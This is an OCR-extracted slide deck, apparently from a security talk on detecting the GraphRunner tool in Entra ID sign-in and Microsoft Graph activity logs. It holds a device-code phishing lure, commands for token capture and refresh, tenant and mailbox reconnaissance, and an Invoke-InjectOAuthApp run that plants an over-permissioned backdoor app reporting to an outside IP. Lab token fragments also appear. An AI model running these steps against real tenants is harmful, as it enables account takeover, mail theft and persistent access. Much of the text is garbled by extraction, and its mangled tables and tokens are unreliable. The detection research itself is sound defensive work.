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The Basics

Cloud based Identity and Access
Management Service that can be used to
access external resources

Resources include O365 and Azure Portal

Access apps developed by your org

Cloud service to access productivity
applications including Outlook,
SharePoint, OneDrive, Teams



What is the Microsoft Graph?

Microsoft Graph exposes REST APIs and client libraries to
access data on the following Microsoft cloud services:

Teams

e  Microsoft 365 core services: Bookings, Calendar,
Delve, Excel, Microsoft 365 compliance
eDiscovery, Microsoft Search, OneDrive, OneNote,
Outlook/Exchange, People (Outlook contacts),
Planner, SharePoint, Teams, To Do, Viva Insights

e Enterprise Mobility + Security services: Advanced
Threat Analytics, Advanced Threat Protection,
Entra ID, Identity Manager, and Intune

e Windows services: activities, devices, notifications,
Universal Print

e  Dynamics 365 Business Central services

Calendar

("\ﬁ‘i(]f"\

Meetings

Chats

: People
Devices

https://learn.microsoft.com/en-us/graph/overview



https://learn.microsoft.com/en-us/graph/overview

The Basics of Logging

Entra ID - Office 365

Entra ID -

Sign-In Logs

Audit (Interactive)

Logs

Default logging available with these services
Log Aggregation Platforms/SIEMs ingest these

Some overlap in logging - will discuss



by Beau Bullock (@dafthack)

(

Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
o list GraphRunner modules run List-GraphRunnerModules

PS C:\GraphRunner> _




GraphRunner Components

Persistence

Authentication

Reconnaissance/
Enumeration

.



Initial Access via Authentication

PowerShell functions to facilitate
access

e Authenticate to Microsoft Graph

e Complete OAuth flow to an Entra ID
application

e Refresh tokens periodically




Tokens

Access Tokens

e Contains permissions for client; used for authorization
e Golden SAML style attack allowed the user to craft their own access token

Refresh Tokens (24 hours for single page apps and 90 days for all other
scenarios)

e “Refresh tokens replace themselves with a fresh token upon every use. The
Microsoft identity platformm doesn't revoke old refresh tokens when used to
fetch new access tokens. Securely delete the old refresh token after
acquiring a new one. Refresh tokens need to be stored safely like access
tokens or application credentials.”

https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens



https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens

Get-GraphTokens

UserPasswordAuth
e Works with single factor B¥ Microsoft
e MFA is mandated on some apps like Enter code
0365 Admin and Entra Admin FHES 8 00 X o YO s o e

Center but not for all users

F8WZPIG3G

ExternalCall (default)
e Code Based Login
e Multi-factor authentication



https://learn.microsoft.com/en-us/entra/identity/authentication/concept-mandatory-multifactor-authentication
https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code

TIMESTAMP

2025-02-
05T21:47:06.000

2025-02-
05T21:47:06.000

mike.slayton@th7sz.onmicrosoft.com - 34.152.40.90

USER_LOGIN

mike.slayton@th7sz.onmicrosoft.com - 34.152.40.90

NETWORK.HTTP.USER_AGENT

Mozilla/5.0 (iPhone; CPU iPhone 0OS 13_2 like Mac
0S X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Cri0S/91.0.4472.114 Mobile/15E148 Safari/604.1

Chrome Mobile i0S 91.0.4472

TARGET.APPLICATION

AzureActiveDirectory

Microsoft Office




External Call - MFA Users

Craft a site/link
— with the code

Request a token
15 minute clock starts and

A . Access Token
prompt to login to Microsoft rovidedin
site with 9 character code P
adversary

Provide
site/link
surreptitiously

to the user Entré ID

You need to log in or create an account to
access this content.

Visit espn.com/stream or scan a QR code
and enter the activation code below to
manage your account.

Activation Code

&WMRTS‘




B® Microsoft

Microsoft Office

User Experience for External Call

application on your device. You may now close this

Outlook 365 Product Team window.
7/19/2021 2:40 PM : = -

Tor £ Van B® Microsoft

Mlcrosoft“" Pick an account

You're signing in to Microsoft Office on another
I ‘ e device located in Canada. If it's not you, close this
page.

Tim Smith (Admin)
@ tim.smith_admin@lunarstiiiness.com =. Microsoft

Signed in
For being a loyal Microsoft customer, we are permanently increasing your Outlook attachment/file storage by 1 TB. tim.smith_admin@lunarstiiiness.com
Additionally, the maximum attachment size has been increased to 100 MB. .

Thank you!

+ Use another account

To receive your increase: Are you trying tO Sign in tO

1. Go to our secure Microsoft login page at: https://microsoft.com/devicelogin M ICrOSOft Offlce?
2. Enter the product code: ELSEKDEZH

This code can only be used once and is only valid for your Outlook account. Only continue if you downloaded the app from a
3. Enter your Outlook credentials to verify your identity. store or website that you trust.

You will be credited with 1 TB of extra storage within 24 hours.
Security reminders: With the recent news about ransomware attacks, please remain secure and:

* Do not share your Office login password

* Make sure you have two-factor authentication turned on

» Be sure that any links you click on in Microsoft emails have valid Microsoft domains suck
login.microsoftonline.com.

B2 Microsoft

B2 Microsoft
tim.smith_admin@Iunarstiiiness.com

Enter code to allow access igni
—Microsoft Outlook 365 Product Team L Approve signiin request
e Open your Authenticator app, and enter the

Once you enter the code displayed on your app or o
number shown to sign in.

device, it will have access to your account.

Do not enter codes from sources you don’t trust. 4 5
Ye: No

(I Are the suaaestions above heloful?

EJA6WS5L57

No numbers in your app? Make sure to upgrade to
the latest version.

1 can't use my Microsoft Authenticator app right now



https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authentication-flows-part-2
https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authentication-flows-part-2
https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authentication-flows-part-2

PS C:\GraphRunner> Get-GraphTokens -ExternalCall -Browser Android -Device AndroidMobile
[*] It looks like you already tokens set in your $tokens variable. Are you sure you want to authenticate again?

[*] Initiating device code login...

o sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code EJA6WSL57 to authenticate.
authorization_pending

authorization_pending . i

author‘ization_pending ::ox_typ! :::;::og.create AuditLog.Read.All Calendar.R|

Contacts.ReadWrite DatalossPreventionPolicy.

aut hor‘i z at ion)endi ng Files.Read Files.Read.All Files.ReadWrite.Al

InformationProtectionPolicy.Read Mail.Readur

) :

People.Read People.Read.All Printer.Read.Allfs
: Smith (Admin) Reports.Read.All SensitiveInfoType.Detect Se
. Tim Tasks.ReadWrite TeamMember.ReadWrite.All Tea
- User.ReadWrite Users.Read
. user lexpires_in 3 7525
: true extTexpir‘es_in 1 7525

1 1738863208
: 34.152.40.90 ﬁ::i;::;:: : 1738855382
$:150 Seiin (Admin) eeese token | ydbeXAIGIIRVIOLLCosbaSIPOTTKIRNKLIAKIDRZES
: ©784ad41-78df-41c9-b488-38b2ee872d45 B " I1NiIsIng1dCI6I11UY2VPNUKeX1xUjZqekRTNWBYn)
: 5§-1-5-21-3263964631-4121654851-1417671188-1116 ey IhduQi01 JodHRwczovL 2dyYXBoLm1pY3Jvc29mdCs
:1 PHTHOCHVINGAC TGO Yty T 0THS TS TnFpby TOTT
p 2Mz IwOCWiYWN] wiYWNyIjoiMSIsSImFpby:
: 10032002333B5A86 1A0T3Vsckxsa@IMTHF3YVVkUUsY21XbnlLcFNoYnISc|
: 1.AVKALUD-528HDEGgrbNWZGONAMAAAAAAAAAWAAAAAAAAAD7AEPZAA . T
: AuditLog.Create AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite 27WSFbmFtZSI6T1RpbSIsImlkdHlwWIjoidXN1ciTsIml]

Contacts.ReadWrite DatalossPreventionPolicy.Evaluate Directory.AccessAsUser.All SIOLIRphSETHMIAaChoOM L aepE wib2 KT jolNDC]

! 2 2 2 2 ZCI6I1MtMS@1LTIXLTMyNMSNjQ2MzEtNDEYMTY1NDA
Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All 'Z’I...mInzmmmﬁslﬁjiljoiﬁssévm.,imm
Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send Notes.Create Zg"é:Zg"‘j°§Sx‘z',',‘,§:§',2',’2fﬁiﬂ},&”}ggégﬁgg"
Organization.Read.All People.Read People.Read.All Printer.Read.All PrinterShare.ReadBasic.All 1\,,(:1,!“:%3)-‘129“55“;"1:3NBC1\‘,';'ZXIMSIE
PrintJob.ReadWriteBasic Reports.Read.All SensitiveInfoType.Detect SensitiveInfoType.Read.All EZpbGVzL1J1YWRXcm1@ZS5BbGgR3IvdXAUUmVhZCSBD
Sensitivitylabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat St e e e

User.Read.All User.ReadBasic.All User.ReadWrite Users.Read SZWFKV3JpdGVCYXNpYyBSZXBvcnRzL1I1YWQUQUxXSIF
. WFkLkKFsbCBTZWSzaXRpdml@eUxhYmVsLkV2YWx1YXR1I|
> 661{76‘:9',9Cb9'53(2-7913'b9336b63616a hbXNUY;IuUthZ::yaik;kn;ys2h:d:BVc2VyL131 )
1 74dXt_tmjUR3XE_G1stOA-WNRCHCPWORVt88Ds7BmtA y5SZWFKIiwic21kIjoiMDAXZC2YzktOWNiOS@2YWMyL|
: NA zdE9BLVAOUMNIQ1B3T1IWdDg4RHM3Qm18QSISInR1bmF|
hiDd KXY
: e7fe4095-076F-410c-a07e-b6cd5991b434 e R e B
: tim.smith_admin@lunarstiiiness.com x;mii;%giﬁmgﬂgéggﬁmw%qw
: tim.smith_admin@lunarstiiiness.com RSVT_nLfounke1x2volgOgenbZ0epyF8], OoROSC
& = gebZQespy8j_OoRQsCeLt
: XKiodk3JIx8KwbxGQmSFpAA ZgYMny1VAVWZOr7WiGGrhe7Y4aNn6KcsB12yveaoHIes)
$'%.6 52pG0Q1L61GogochMANZ -08wI I2TRAt2ZuWCEKKMe ol
" e SyLZQtQviYqoBw
: {62e90394-69f5-4237-9190-012177145e10, b79fbf4d-3ef9-4689-8143-76b194e85509} refresh_token : 1.AVKALUD-528HDEGEfrbNWZGeNNYOWdOzUgIBrv-qeil
.16 1 0A201v-E9jHYeI IvmFg7yMrYRS8nHPOA1XPAVUUTSAPA
’ JGBVREFS5bkzjyodsc3£9-yDSREJZM2yCliw-NIVt4xA
: 1659889269 3ftjtcxpSsyqiN_iTGFea-DF8gN30xZDP_SxWquFZMg
aaHJe0_wwSTVmrcdj2-3CABMFmshfltoTbC4YLIN2Xtp
P hchi &
[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them &'}b;s,.;mupj;’,‘;;i‘écmj.,m}'é;:;{;ﬁ;{;ﬁis

ens $tokens) 30ANXyyVHGDbXIXa9jWfhtCiuKv3IgrQl_byLLWONDU2)

[!] Your access token is set to expire on: ©2/06/2025 17:33:28 :2%3552§¥;’I§§§;:{“f,f,f§§$£';2§§:3€ﬁ§$§3
PSS R

: 1




Non-Interactive Sign-in Logs

Pertains to many Log Management Tools

\
\
|
|
|
| SIEM or
D AuditLogs I Log
[J Signintogs I Management
I Tools
NonlnteractiveUserSigninLogs
Bs ISi I
e ipalSigninLogs I
Managed|dentitySigninLogs I
Entra ID "
(Diagnostic \ Event Hub Azure Function,
Settings) N e ’



Non-Interactive Sign-ins

Token refreshes

Office 365 and

Azure AD sign-in
events do not log
this kind of log-in

Impacts all 3P
logging solutions

User sign-ins (interactive)

User sign-ins (non-interactive)

Service principal sign-ins

Managed identity sign-ins

0 Sign-ins in the table below are grouped by user and resource. Click on a row to see all the sign-ins for a user and resource on that date and time.

Date

\/ 2/5/2025, 7:00:00 PM

2/6/2025, 2:41:48 PM

2,

/2025, 12:02:07 PM

/2025, 10:28:02 AM

Request ID ™
Aggregate
a4c34667-4036-412-972e-9a58a3058f00
15720f05-b09d-4323-8022-91a788be8500

76a8a85¢-c94d-42¢7-b06f-11909bc16900

Username ™
tim.smith_admin@|unarstiiiness.com
tim.smith_admin@Iunarstiiiness.com
tim.smith_admin@lunarstiiiness.com

tim.smith_admin@lunarstiiiness.com

Application

Microsoft Office
Microsoft Office
Microsoft Office

Microsoft Office

Status

Success

Success

Success

Success

IP address

34.152.40.90

34.152.40.90

34.152.40.90

34.152.40.90




Azure

Used

Azur

TIMESTAMP

2025-02-
06T15:28:02.229

2025-02-
06T15:28:00.000

2025-02-
06T15:28:00.000

2025-02-
06T15:27:09.000
©

EVENT

USER_LOGIN

tim.smith_admin - 34.152.40.90

[USER_LOGIN |
tim.smith_admin@lunarstiiiness.com -
34.152.40.90

[ USER_LOGIN |

tim.smith_admin@lunarstiiiness.com -
34.152.40.90

[USER_LOGIN |[AUTH_VIOLATION ]|
tim.smith_admin@lunarstiiiness.com -
34.152.40.90

SECURITY_RES...

[Unknown]
NonlnteractiveUser
SigninLogs

[Unknown]

[Unknown]

[Unknown]

SECURITY_...

ALLOW
ALLOW

ALLOW

ALLOW

BLOCK

SECURITY_RESULT.DESCR...

[Unknown]
MFA requirement satisfied by
claim in the token

MFA requirement satisfied by
claim in the token

MFA requirement satisfied by
claim in the token

User needs to perform multi-
factor authentication. There
could be multiple things
requiring multi-factor, e.g.
Conditional Access policies,
per-user enforcement,
requested by client, among
others.

NETWORK.HTTP.USER_AGENT

Mozilla/5.0 (Linux; U; Android 4.0.2;
en-us; Galaxy Nexus Build/ICL53F)
AppleWebKit/534.30 (KHTML, like

Gecko) Version/4.0 Mobile
Safari/534.30

Firefox 135.0

Firefox 135.0

Firefox 135.0

METADATA.PRODUCT _

Azure Activity

Azure AD

Azure AD

Azure AD



Office

TIMESTAMP EVENT METADATA.PRO... SECURITY_... SECURITY_RESULT.DE... ABOUT.LABELS.KEY ABOUT.LABELS.... NETWORK.HTTP.USER_AGENT
2025-02- T [Unknown] Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy
ALERT || USER_LOGIN s PP " s fiad 1 o 2
06T15:28:02.229 AT L 0.90 Sign-in activity :::::gz MFAreq| [ur ] {Unknown] Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML,
DU e  S206 0 by claim in the token like Gecko}) Version/4.0 Mobile Safari/534.30
2025-02- USER_LOGIN [Unknown] [Unknown] A < %
error_number (] Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:135.0)
06T15:28:00.000 tim.smith_admin@lunarstiiiness.com - UserLoggedin [Unknown] [Unknown] = = A 3 AN
S ALLOW Kisloreini RequestType Cmsi:Cmsi Gecko 20100101 Firefox/135.0
2025-02- USER_LOGIN
06T15:27:45.000 tlrr;‘sm}th a;lmln @lunarstiines: com UserLoginFailed }3::::&:: }g::::‘::% error_number 50199 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
3‘.152.40.-90 BLOCK Cmsiinterrupt RequestType SAS:ProcessAuth Gecko /20100101 Firefox/135.0
2025-02- [USER_UNCATEGORIZED | [UPDATE USER. [Unknown] [Unknown] noHiicaBion: Gpetor
06T15:27:44.000 ServicePrincipal_4ebaba66-4989-4ad3-b5c4- Update user. [Unknown] [Unknown] d =Ype 2 [Unknown]
2d6aca8e08f6 - iPhone 14 Pro [Unknown] [Unknown]
ALLOW [Unknown]
2025-02-
06T15:27:42.000 USER_LOGIN | error_number 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
Lo Not Available - 35.193.63.93 RequestType SAS:EndAuth Gecko/20100101 Firefox/135.0
2025-02-
06T15:27:16.000 USER_LOGIN | error_number Q Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
e Not Available - 35.193.63.93 RequestType SAS:EndAuth Gecko 20100101 Firefox/135.0
;g.ﬁ::; 14.000 [ | USER_LOGIN error_number Q Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
D Not Available - 35.193.63.93 RequestType SAS:EndAuth Gecko 20100101 Firefox/135.0
I IEE =N - - —-—— -
§2ﬁ;9§;. S | USER_LOGIN | I WsericxgEdin {3::323:} Eg:::::::% error_number 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
o Not Available - 35.193.63.93 | 28 Atiow {Unknown] RequestType SAS:BeginAuth Gecko 20100101 Firefox/135.0
20000 I M I Mokpown] {3::::::} error_number o Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
T115:27:09. i i i ) inFail & & .| .0; 3 %64; rv:135.
fe 02:000 :?issr:::_gaodmm@lunarstumesscom Userloginailed LULr:cn': ) UserStrongaAuthClientAuth RequestType ggfme:?mtlon Gecko/20100101 Firefox/135.0
L Semiada l NRequiredinterrupt &
—— o —— — — . -
o [unknown]
:gf.isoz.,w 000 , . UiseriopimEalled {3::::a:i [Unknown] error_number 50074 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
D g:ql;r::o—;o o @UuSBUEnESS oty ginyal i UserStrongAuthClientAuth  RequestType SAS:EndAuth Gecko/20100101 Firefox/135.0

NRequiredinterrupt
DTSSR




Interesting Difference

UserPasswordAuth does not have non-interactive user sign-in events after the

interactive login

ExternalCall creates a non-interactive user sign-in shortly after login

e User Agent now aligns with GraphRunner command issued
e No Session ID in Log Stream
e Applicationis the app we provided in command (or default)

TIMESTAMP EVENT METADATA.P... NETWORK.SESSION_ID NETWORK.HTTP.USER_AGENT SECURIT...
2025102 Mozilla/5.0 (Linux; U; Android 4.0.2; en-us;

i 1 laxy N = A
06T15:28:02.229 Sign-inactivity | [Unknown] Gajaey Nexits Bufl/Ics.33k) o

tim.smith_admin - 34.152.40.90 AppleWebKit/534.30 (KHTML, like Gecko) ALLOW

Version/4.0 Mobile Safari/534.30

2025-02- 1 ‘ ‘ ‘ finknown

06T;5-28'OO 000 tim.smith_admin@lunarstiiiness.com UserLoggedIn e gzl (Winaows N0 Sinesixtd Jlk::z E

22800, B i o = . \ / 2 / | wn
34.152.40.90 b93a0b63616a rv:135.0) Gecko/20100101 Firefox/135.0 ALLOW

TARGET.APPLICATION

Microsoft Office

AzureActiveDirectory

SECURITY_RES...

Unknown
NoninteractiveUser
SigninLogs

[Unknown]
[Unknown
[Unknown]




PS C:\GraphRunner> Invoke-RefreshGraphTokens -RefreshToken 1.AVKAlUD-528HDEGgfrb
INPFQiSmpDRRd-1ilkgXVW3XWHEZS55NW2QCCNYMAGMZzICgh2Tzta9nXGpdc2s1kITnKrfInDvndPSHDyYVY!
INbLWDVAdyNYd711wnYKkvdn6fVm2XdezK1UUEMSiGkZ jpSRI_AKjZAGCieS8rk2qpa65wm_BQ9z7DPFNR(
ppOtwkwld_SsrmoFNzVyzsh4ngYFTu-S9I0eCZAjbX-jMHHI-utLfmrBqfKru6U9Sgz6uyURanMuOwAyd
HBdJwdXDc 3XxgUBK_O03CHCvjdmOeqpeUxkOvOOTmjLr809HO9Mu40EeKNrKvKd_UHbgaltsTU6V7Iyq-H
INy1LvYC73Hu-PkSix26atbqI_ro81LHMHSC1DOEZ7EmRjDeUJrHzXv6D1xwcTEZUB6_dz1_qUnYSy6H6

[*] Refreshing Tokens...
Decoded JWT payload:

[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable.

ens $tokens)

‘[!] Your access token is set to expire on: ©2/06/2025 21:48:09

TIMESTAMP METADATA.PR... NETWORK.HTTP.USE... SECURITY... TARGET.APPLIC...

Mozilla/5.0 (Macintosh;
Intel Mac OS X 10_15_7)
-02- - USER LOGIN S
zgﬁ::ru 624 tim.smith admi—n- Sign-in activity AR NEba 1 o
LA R g (KHTML, like Gecko) ALLOW

34.152.40.90 Chrome/103.0.0.0
Safari/537.36

Microsoft Office

SECURITY_R...

[Unknown]
Noninteractive
UserSigninLogs

SECURITY_RESULT.DES...

[Unknown]
MFA requirement satisfied
by claim in the token




Recon & Enumeration

Enumeration of

Entra ID organization and user settings
Conditional Access Policies
Applications

Users

Groups (Updatable, Dynamic)
SharePoint URLs

Open Inboxes

Tenant ID




Microsoft Graph Activity Logs

Addresses a gap in visibility that exists

https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview

, e e, T ~ N
/ \
| \
I
|
: I SIEM or
Storage Account . Log
MicrosoftGraphActivityLogs | Management
I Platform
'
|
I /
: ” ¢ |
| H \\ ;
Entra ID I "
(Diagnostic \ EventHub Azure Functlon,
Settings) N e ’


https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview

] [0) metadata.ingested_timestamp: "2024-11-11T18:30:10.337993Z"

] [U) metadata.log_type: "MICROSOFT_GRAPH_ACTIVITY_LOGS"

L] [U) metadata.product_deployment_id: "e7fe4095-076f-410c-a07e~
b6cd5991b434"

[] (@ metadata.product_event_type: "Microsoft Graph Activity"

U@ metadata.product_log_id: "cd7adbf7-439c-4157-bd7c-a65a713715b9"

] [0) metadata.product_name: "Microsoft Graph"

i} [U) metadata.product_version: "vi.0"

L] [© metadata.vendor___name: "Microsoft"

[] @ network.http.method: "GET"
L] [U) network.http.response_code: 400

L] [U) network.http.user_agent: "Mozilla/5.0 (Windows NT; Windows NT 10.

en-US) WindowsPowerShell/5.1.14393.7426"
[] @ network.received_bytes: 245
L] [0) network.session_duration: "10s"
(] [U) network.session_id: "DbdUum6xROCQcJaPPGOGAA"

L] @ principal.asset.ip[0]: "34.152.40.90"

[] @ principal.ip[0]: "34.152.40.90"

L] (@) principal.location.name: "Canada East"

L@ principal.resource.product_object_id: "f4b381f4-a48b-46bf-a34b-
61dfl8cbels5a"

[J @ principal.user.account_type: "DOMAIN_ACCOUNT TYPE"

] [0 principal.user.product_object_id: "0784ad41-78df-41c9-b488-
38b2ee872d45"




PS C: \Gr‘athunner‘> Invoke-GraphRec
Using the provided access to

[*] Refreshing token to the Az

[*] Now trying to query the MS

Allowed to create a
Allowed to create s
Allowed to create
Allowed to read B
Allowed to read o
Who can invite ex

TIMESTAMP

2025-02-

07T13:19:31.957 Microsoft Graph Activity

tim.smith_admin

2025-02-
07T13:19:31.775

NETWORK_HTTP

tim.smith_admin

Microsoft Graph Activity

2025-02-
07T13:19:30.870 tim.smith_admin -

34.152.40.90

Sign-in activity

Read basic properti
Read the group memb

Read basic properties o-F
Create new tenants in Mic
Read owners of policies :
Read the direct reports -For'

Invite Guest User‘s allowed

Force sign-out by 1nva1idatinguse

METADATA.PRODUCT _...

PRINCIPAL.IP

34.152.40.90

34.152.40.90

34.152.40.90

NETWORK.HTTP.USER_AGENT

Mozilla/5.0 (Windows NT 10.0; Microsoft
Windows 10.0.14393; en-US) PowerShell/7.3.0

Mozilla/5.0 (Windows NT 10.0; Microsoft
Windows 10.0.14393; en-US) PowerShell/7.3.0

Mozilla/5.0 (Windows NT 10.0; Microsoft
Windows 10.0.14393; en-US) PowerShell/7.3.0

NETWORK....

4TU19TyQhOC
D30_LK3gLAA

4TU19TyQhOC
D30_LK3gLAA

[Unknown]

[Unknown]

TARGET.URL
https://graph.microsoft.com/beta/roleManagement/

directory/estimateAccess

https://graph.microsoft.com/v1.0/me

[Unknown]




PS C:\GraphRunner> Invoke-DumpApps $tokens
[*] Using the provided access tokens.
[*] Getting Microsoft Graph Object ID
raph ID: 00000003 -0000-0000-C000-000000000000
Internal Graph ID: 89f845ca-836f-49e@-af27-d97bd85aa9f8
[*] Now getting object IDs for scope objects...
[*] App Registrations:

pp Name: NewYear (App ID: f4b381f4-a48b-46bf-a34b-61df18cbel5a)

reation Date: 11/11/2024 16:15:58

Sign-In Audience: AzureADMyOrg

Delegated Permissions (Scopes): Mail.ReadWrite, User.Read, Files.ReadWrite.All,
ication.ReadWrite.All, Contacts.ReadWrite, Calendars.ReadWrite, MailboxSettings]

TIMESTAMP EVENT METADATA.PRODUCT... PRINCIPAL.IP NETWORK.HTTP.USER_AGENT NETWORK.SE... NETWOR... TARGET.URL
i Mozilla/5.0 (Windows NT 10.0; Microsoft 4TU19TyQhOCD3 https://graph.microsoft.com/v1.0/servicePrincipals(appld='ce90}
WARL AR WL tim.smith_admin R 0 1528030 Windows 10.0.14393; en-US) PowerShell/7.3.0 | O_LK3gLAA 2 32a-80b6-40ed-87bc-157b2c095b97")/appRoleAssignedTo
zgﬁ—ao; 40.738 Microsaft Graph Activity 34.152.40.90 Mozilla/5.0 (Windows NT 10.0; Microsoft 4TU19TyQhOCD3 o https://graph.microsoft.com/v1.0/servicePrincipals(appld='fab3{
A tim.smith_admin P Sy, Windows 10.0.14393; en-US) PowerShell/7.3.0 | O_LK3gLAA 1f4-a48b-46bf-a34b-61df18cbel5a’)/appRoleAssignedTo
2023 02 Mozilla/5.0 (Windows NT 10.0; Microsoft 4TU19TYQhOCD3
07T13:25:40.642 reralth Tt Microsoft Graph Activity 34.152.40.90 Windows 10.0.14393; en-US) PowerShell/7.3.0 | O_LK3gLAA 12744 https://graph.microsoft.com/v1.0/applications
;2:;0;40 642 Microsoft Graph Activi 34.152.40.90 pfozilafs 0 pindows S 1o Nic sl fLlyoniehs 12744 https://graph.microsoft.com/v1.0/applications
B tim.smith_admin £ Yy F2e Windows 10.0.14393; en-US) PowerShell/7.3.0 | O_LK3gLAA //eEph -0/app!
gl Mozilla/5.0 (Windows NT 10.0; Microsoft 4TU19TyQh0CD3 https://graph.microsoft.com/v1.0/servicePrincipals/89f845ca-
GIiS25:40013 tmsmith admin:  ooseRGEphAcvity, 341524090\ i 10.0,14393; en-US) Powershely73.0 | O LKagiAA 22649 836f-49¢0-af27-d97bd852a98




PS C:\GraphRunner> Get-AzureADUsers $tokens -outfile todays_users.txt
[*] Gathering the users from the tenant.

---All Azure AD User Principal Names---
admin-101@th7sz.onmicrosoft.com

admin@lunarstiiiness.com

AlexW@th7sz.onmicrosoft.com

TARGET.URL

PS C:\GraphRunner> Get-SecurityGroups -Tokens $tokens
[*] Using the provided access tokens.
[*] Retrieving a list of security groups and their members from the directory...
roup Name: InfoSec | Group ID: ©719ab31-b722-4787-97d@-19b57550cf5d
https://graph.microsoft.com/v1.0/groups/08adadba-bddd- embers: heather.glenn_admin@lunarstiiiness.com
4fac-a502-64c2dacl97d2/members

roup Name: Records Management | Group ID: ©8adadba-bddd- 4fac a502 64c2dac197d2

https://graph.microsoft.com/v1.0/groups/0719ab31-b722-
4787-97d0-19b57550cf5d/members
< F1nance | Group ID: ©a755df6- 3015 4956-9bf8- cc5eaSb65596
: Jim.Armstrong@lunarstiiiness.com, Robert.Yeager@lunarstiiiness.com

https://graph.microsoft.com/v1.0/groups?
=securityEnabled%20eq%20true




PS C:\GraphRunner> Invoke-GraphOpenInboxFinder $tokens -userlist .\todays_users.txt
[*] Note: To read other user's mailboxes your token needs to be scoped to the Mail.Read.Shared or Mail.ReadWrite.Shared permissions.

[*] Checking access to mailboxes for each email address...

[*] SUCCESS! Inbox of tim.smith_admin@lunarstiiiness.com is readable.
Latest Email Received ©2/06/2025 20:47:47 ©2/05/2025 15:00:38 ©2/04/2025 16:47:07 11/13/2024 21:39:37 08/17/2024 06:10:18 08/08/2024

TIMESTAMP EVENT METADATA.PR... PRINCIPA... NETWORK.HTTP.USER_AGENT NETWORK.SE... NETWOR... NETWOR... NETWOR... TARGET.URL I

2025-02- S Mozilla/5.0 (Windows NT 10.0; https://graph.microsoft.com/v1.0/users/Wi
NETWORK_HTTP
07T13:49:27.058 i M'c::”ﬁ S 34.15240.90  Microsoft Windows 10.0.14393; 3lell(§Tthoc03 101 lliam.Ride@lunarstiiiness.com/mailFolder
¢ oz ty en-US) PowerShell/7.3.0 -LA3e s/Inbox/messages

2025-02- 5 Mozilla/5.0 (Windows NT 10.0; https://graph.microsoft.com/v1.0/users/ti
07T13:49:26.602 5 WO.RK'HWP. Mlc.rcfsoft Eph 34.152.40.90 Microsoft Windows 10.0.14393; jEE ThOUICh S 382106 m.smith_admin@lunarstiiiness.com/mailF
tim.smith_admin Activity O_LK3gLAA

en-US) PowerShell/7.3.0 olders/Inbox/messages

2025-02- : 001f76c9-4c1d-
07T13:49:26.000 [S:A;:';::aﬁcom MailltemsAccessed 30'190'139'17 Client=REST;; 136¢-8das- [Unknown] [Unknown]
; Ted1b638aefd

2025-02- Mozilla/5.0 (Windows NT 10.0; 4TU19TyQhOCD3 https://graph.microsoft.com/v1.0/users/ti |

NETWORK_HTTP I
07T13:49:25.910 SETWORI BTie ) Miceasai iy 34.152.40.90  Microsoft Windows 10.0.14393; 131 m.smith@lunarstiiiness.com/mailFolders/I
tim.smith_admin Activity O_LK3glLAA
en-US) PowerShell/7.3.0

nbox/messages



Reconnaissance Commentary

Graph API Activity logs are Superhelpful!
e Found some 429 throttling
e Allrecon commands have a user agent of the
console they ran in
e Session ID was also a constant

Estimate Access API - submit an action and find
out if you can perform it
e Undocumented API
e Seen when using Azure Portal for admin
functions
e Something to continue to poke at

https://learn.microsoft.com/en-us/graph/throttling-limits



https://learn.microsoft.com/en-us/graph/throttling-limits




Invoke-InjectOAuthApp

Creates a new application with permissions
that a user can log into

Used as a stepping stone

Requires some social engineering

User needs to provide consent

Allows interception of an OAuth code
Not Time Bound!

Cashed in for an application token
(access token and refresh token) specific
to the application




High Level Flow of App Injection

G Get-AzureAppTokens

er> o Invoke-InjectOAuthApp

Redirect to Sign-In to

Create Application with a set ; = Entra ID
’ of permissions and a Reply . 4 Prompt to Accept
URL (web server) Application/Permission
Entra ID Scope
(Create Application with
Send URL to Scope/Permissions)
User
AuthCode is sent to web
server
( ."er dtl) Si‘rV?: AutoOAuthFlow.py ' :
WA Specify application id, secret, Unsuspecting
GraphRunner) g
URL and scope (permissions) User



PS C:\GraphRunner> Invoke-InjectOAuthApp $tokens -AppName "R&D Project Fish™ -ReplyUrl "https://34.118.1706.49:8080" -scope "op backdoor”
[*] Using the provided access tokens.
[*] Getting Microsoft Graph Object ID
raph ID: 00000003 -0000-0000-Cc600-000000000000
Internal Graph ID: 89f845ca-836f-49e0-af27-d97bd85aa9f8
[*] Now getting object IDs for scope objects:
[*] One overpowered (OP) backdoor is coming right up! Here is the scope:
openid profile offline_access email User.Read User.ReadBasic.All Mail.Read Mail.Send Mail.Read.Shared Mail.Send.Shared Files.ReadWrite.All

eadWrite Chat.Create ChannelMessage.Edit ChannelMessage.Send Channel.ReadBasic.All Presence.Read.All Team.ReadBasic.All Team.Create Sites.
itionalAccess

[*] Finished collecting object IDs of permissions.
[*] Now deploying the app registration with display name R&D Project Fish to the tenant.

Application ID: ©21ecfd7-f857-4dba-877b-05fb@bc7529b
Object ID: 3786e006-1b3d-4d57-beel-2448db14b6b3
